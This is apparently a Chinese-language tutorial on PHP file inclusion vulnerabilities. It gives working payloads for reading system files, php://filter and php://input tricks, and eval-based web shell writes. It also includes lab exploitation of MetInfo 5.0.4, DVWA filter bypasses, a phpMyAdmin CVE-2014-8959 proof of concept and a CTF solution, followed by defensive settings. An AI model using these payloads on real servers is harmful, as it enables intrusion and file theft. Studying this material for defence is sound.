最近做网站开发有前途没,百度站长平台账号,百度在线扫题入口,廊坊专业网站网站文件包含概述
程序开发人员通常会把可重复使用函数或语句写到单个文件中#xff0c;形成“封装”。在使用某个功能的时候#xff0c;直接调用此文件#xff0c;无需再次编写#xff0c;提高代码重用性#xff0c;减少代码量。这种调用文件的过程通常称为包含。
程…文件包含概述
程序开发人员通常会把可重复使用函数或语句写到单个文件中形成“封装”。在使用某个功能的时候直接调用此文件无需再次编写提高代码重用性减少代码量。这种调用文件的过程通常称为包含。
程序开发人员都希望代码更加灵活所以会把被包含的文件的路径设置为变量来进行动态调用包含但正是由于这种灵活性如果被包含文件的路径客户端可控造成任意文件包含漏洞。
几乎所有的脚本都会提供文件包含的功能文件包含漏洞在PHP 的Web 应用中居多在JSP/ASP/ASP.NET 程序中比较少。
文件包含语句
PHP 提供了四个文件包含的语句四个语句之间略有不同。
语句区别include()多次包含多次执行如果包含失败脚本产生警告继续运行include_once()多次包含一次执行如果包含失败脚本产生警告继续运行require()多次包含多次执行如果包含失败脚本产生错误结束执行require_once()多次执行一次执行如果包含失败脚本产生错误结束执行
相关配置
文件包含是PHP 的基本功能之一有本地文件包含与远程文件包含之分。简单来说本地文件包含就是可以读取和打开本地文件远程文件包含就是可以远程方式加载文件。可以通过php.ini 中的选项进行配置。
allow_url_fopen On/Off # 通过远程方式打开文件
allow_url_include On/Off # 通过远程方式包含文件动态包含
示例代码
// file-include.php
$fp $_GET[filepath];
include $fp;本地文件包含
本地文件包含Local File IncludeLFI通过本地路径访问到的文件。
?filepath../phpinfo.php远程文件包含
远程文件包含Remote File IncludeRFI通过远程路径访问到的文件。
?filepathhttp://10.9.64.180/phpinfo.jpg漏洞原理
漏洞原理
PHP 文件包含是程序设计的基础功能之一能够减少代码量提高开发效率。但是使用文件包含功能时有类似于以上测试代码的设计实现了动态包含就有产生文件包含漏洞的风险。如果实现动态包含的参数Web 应用没有进行严格的校验浏览器客户端用户可以影响控制被包含文件的路径就会产生任意文件包含漏洞。
特点
无视文件扩展名读取文件内容。
?filepath./a.jpg无条件解析PHP 代码为图片木马提供了出路。
?filepatha_yjh_info.jpg文件包含攻防
利用方法
包含图片木马
菜刀直接连接
http://10.4.7.130/file-include/file-include.php?filepatha_yjh_info.jpg读取敏感文件
利用文件包含漏洞也可以读取敏感文件。
前提条件 目标文件存在已知目标文件路径 具有文件可读权限。
具体方法
# 相对路径
?filepath../../../../../../windows/system32/drivers/etc/hosts
# 绝对路径
?filepathc:/windows/system32/drivers/etc/hosts
# 使用php 封装协议
?filepathfile://c:/windows/system32/drivers/etc/hosts封装协议
封装协议说明file://访问本地文件系统http://访问 HTTP(s) 网址ftp://访问 FTP(s) URLsphp://访问各个输入/输出流I/O streamszlib://压缩流data://数据RFC 2397glob://查找匹配的文件路径模式phar://PHP 归档ssh2://Secure Shell 2rar://RARogg://音频流expect://处理交互式的流
读取php文件源码
利用php://fileter 读取。
?filepathphp://filter/readconvert.base64-encode/resource[目标文件]读取结果
PD9waHANCi8vIGZpbGUtaW5jbHVkZS5waHANCg0KJGZwID0gQCRfR0VUWydmaWxlcGF0aCddOw0KQGluY2x1ZGUgJGZwOw执行php命令
利用条件 利用php://input 执行PHP 命令 远程文件包含开启。
POST /file-include/include.php?filepathphp://input HTTP/1.1
Host: 192.168.111.15
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtmlxml,application/xml;q0.9,image/webp,*/*;q0.8
Accept-Language: en-US,en;q0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSIDq9lc0vlnggvo7kogh6j01a3582
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache
Content-Length: 18
?php phpinfo();?包含图片马写shell
条件
确定文件包含漏洞存在
菜刀不能直接连接需要使用文件包含新建的那个php文件进行连接
写Shell
?php fputs(fopen(shell.php,w),?eval($_REQUEST[777]);phpinfo();?)?
?php file_put_contents(shell.php,?php eval($_REQUEST[777])?)?利用
http://10.9.47.217/test.php?filepathshell.php包含日志
Apache 日志
访问日志
错误日志
Nginx 日志
访问日志
错误日志
SSH 日志
邮件日志
经典案例 metinfo_5.0.4_lfi dvwa_lfi_high_getshell
metinfo_5.0.4
漏洞位置
/about/index.php
源码
?php
# MetInfo Enterprise Content Management System
# Copyright (C) MetInfo Co.,Ltd (http://www.metinfo.cn). All rights reserved.
$filpy basename(dirname(__FILE__));
$fmodule1;
require_once ../include/module.php;
//echo $fmodule;
//echo hr ;
//echo $module;
require_once $module;
# This program is an open source system, commercial use, please consciously to purchase commercial license.
# Copyright (C) MetInfo Co., Ltd. (http://www.metinfo.cn). All rights reserved.
?可以看到有效代码总共四行其中两行文件包含第十行的文件包含为动态参数
输出一下$module变量看看
添加一条echo语句过后再访问发现网页中回显出show.php 看看show.php的源码
?php
# MetInfo Enterprise Content Management System
# Copyright (C) MetInfo Co.,Ltd (http://www.metinfo.cn). All rights reserved.
require_once ../include/common.inc.php;
if(!$id $class1)$id $class1;
$show $db-get_one(SELECT * FROM $met_column WHERE id$id and module1);
if(!$show||!$show[isshow]){
okinfo(../404.html);
}
$metaccess$show[access];
if($show[classtype]3){
$show3 $db-get_one(SELECT * FROM $met_column WHERE id$show[bigclass]);
$class1$show3[bigclass];
$class2$show[bigclass];
$class3$show[id];
}else{
$class1$show[bigclass]?$show[bigclass]:$id;
$class2$show[bigclass]?$id:0;
$class30;
}require_once ../include/head.php;
$class1_info$class_list[$class1];
$class1_list$class1_info;
$class2_info$class_list[$class2];
$class3_info$class_list[$class3];
$show[content]contentshow(div.$show[content]./div);
$show[description]$show[description]?$show[description]:$met_keywords;
$show[keywords]$show[keywords]?$show[keywords]:$met_keywords;
$met_title$met_title?$show[name].-.$met_title:$show[name];
if($show[ctitle]!)$met_title$show[ctitle];
require_once ../public/php/methtml.inc.php;
include template(show);
footer();
# This program is an open source system, commercial use, please consciously to purchase commercial license.
# Copyright (C) MetInfo Co., Ltd. (http://www.metinfo.cn). All rights reserved.
?其中有文件包含但是并没有$module相关的参数
定位到index.php第六行文件包含位置看看内容
即 /module.php
在此页中搜索一下找到第一次出现的位置 此段代码为if判断初始化代码如果$fmodule不等于7则进入初始化等于7则不进行初始化
if($fmodule!7){if($mdle100)$mdle3;if($mdle101)$mdle5;$module $modulefname[$mdle][$mdtp];if($moduleNULL){okinfo(../404.html);exit();}if($mdle2||$mdle3||$mdle4||$mdle5||$mdle6){if($fmodule$mdle){$module $modulefname[$mdle][$mdtp];}else{okinfo(../404.html);exit();}}else{if($list){okinfo(../404.html);exit();}else{$module $modulefname[$mdle][$mdtp];}}if($mdle8){if(!$id)$id$class1;$module ../feedback/index.php;}
}于是可以将fmodule的值设置为7然后控制module的值进行操作
fmodule的值为非7时 fmodule的值为7时 调整module的值为读取hosts文件
http://10.4.7.165/metinfo_5.0.4/about/index.php?fmodule7modulec://windows/system32/drivers/etc/hostshttp://10.4.7.165/metinfo_5.0.4/about/index.php?fmodule7module../../../../../../windows/system32/drivers/etc/hosts可以进行读取
为什么此处可以使用get传参将值传递给这两个参数module.php页中并没有接受传参的代码
定位到该页首部会发现一个文件包含 本页中该段代码是接受传参的 foreach(array(_COOKIE, _POST, _GET) as $_request) {foreach($$_request as $_key $_value) {$_key{0} ! _ $$_key daddslashes($_value);}
}添加一条输出后就能看到键值对 dvwa
low
源码
?php// The page we wish to display
$file $_GET[ page ];? 构造url
http://10.9.47.221/dvwa_2.0.1/vulnerabilities/fi/?pagec:\\windows\system32\drivers\etc\hostsmedium
源码
?php// The page we wish to display
$file $_GET[ page ];// Input validation
$file str_replace( array( http://, https:// ), , $file );
$file str_replace( array( ../, ..\ ), , $file );? 读代码可知http头和…/ …\被过滤了
首先可以使用绝对路径
http://10.9.47.221/dvwa_2.0.1/vulnerabilities/fi/?pagec:\\windows\system32\drivers\etc\hosts使用http的话可以进行双写绕过
http://10.9.47.221/dvwa_2.0.1/vulnerabilities/fi/?pagehthttp://tp://10.9.47.221/phpinfo.php使用相对路径时
http://10.9.47.221/dvwa_2.0.1/vulnerabilities/fi/?page/..././..././..././..././..././..././..././windows/system32/drivers/etc/hostshigh
源码
?php// The page we wish to display
$file $_GET[ page ];// Input validation
if( !fnmatch( file*, $file ) $file ! include.php ) {// This isnt the page we want!echo ERROR: File not found!;exit;
}? 代码可知如果不以file开头并且不是include.php的话就会报错因此构造一个伪协议file开头的url
http://10.9.47.221/dvwa_2.0.1/vulnerabilities/fi/?pagefile:///c://windows/system32/drivers/etc/hosts文件包含防御 尽量少的使用动态包含 严格过滤被包含文件的路径 将参数allow_url_include 设置为Off 使用参数open_basedir 限定文件访问范围。
open_basedir c:\phpstudy_2016\www\扩展1-phpmyadmin 文件包含CVE-2014-8959
构造poc
http://10.9.47.235:50614/pma/gis_data_editor.php?token012ecd10f47ae9c1efaa4cafefa51d11gis_data[gis_type]/../../../../1.gif%00以post方式提交 成功获取phpinfo
扩展2 01ctfer_afr1
先读取一下flag
发现nonono 但是证明应该有这个文件
使用base64读取flag
http://10.4.7.137/?pphp://filter/readconvert.base64-encode/resourceflag得到
PD9waHAKZGllKCdubyBubyBubycpOwovL24xYm9va3thZnJfMV9zb2x2ZWR9解码 得到flag
n1book{afr_1_solved}